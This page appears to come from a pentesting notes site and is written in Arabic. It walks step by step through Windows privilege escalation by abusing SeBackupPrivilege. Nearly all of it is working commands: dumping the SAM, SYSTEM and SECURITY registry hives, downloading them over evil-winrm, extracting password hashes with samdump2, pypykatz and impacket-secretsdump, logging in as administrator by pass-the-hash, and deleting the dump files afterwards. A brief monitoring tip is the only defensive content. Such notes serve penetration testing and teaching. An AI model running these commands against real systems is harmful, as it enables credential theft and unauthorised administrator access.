> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md).
# SeBackupPrivilege
`SeBackupPrivilege` تسمح بقراءة الملفات المحمية في سياق النسخ الاحتياطي. في بيئة مختبرية، يمكن استخدام هذه الصلاحية لنسخ `SAM` و `SYSTEM`، ثم استخراج تجزئات الحسابات المحلية دون اتصال.
## الاكتشاف
```powershell
whoami /priv
```
## تحميل الوحدات
{% embed url="" %}
```powershell
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```
## تصدير SAM و SYSTEM
```cmd
reg save HKLM\\SAM sam
reg save HKLM\\SYSTEM system
```
حمّل الملفات:
```powershell
download sam
download system
```
## استخراج التجزئات
```bash
samdump2 system sam
```
بديل:
```bash
pypykatz registry system --sam sam
```
## التحقق باستخدام Pass-the-Hash
```bash
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```
## النقاط الرئيسية
* `SeBackupPrivilege` حساسة حتى من دون العضوية المباشرة في مجموعة المسؤولين المحليين.
* تصدير `SECURITY` أيضًا عندما تريد أسرار LSA أو البيانات المخزنة مؤقتًا من المجال.
* راقب تصدير خلايا السجل والوصول إلى ملفات النظام المحمية.
## الاستخراج باستخدام Impacket
يمكن لـ Impacket تحليل خلايا السجل المحفوظة دون اتصال:
```cmd
reg save HKLM\\SAM C:\\Windows\\Temp\\sam.save
reg save HKLM\\SYSTEM C:\\Windows\\Temp\\system.save
reg save HKLM\\SECURITY C:\\Windows\\Temp\\security.save
```
```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```
## تنظيف
```cmd
del C:\\Windows\\Temp\\sam.save
del C:\\Windows\\Temp\\system.save
del C:\\Windows\\Temp\\security.save
```
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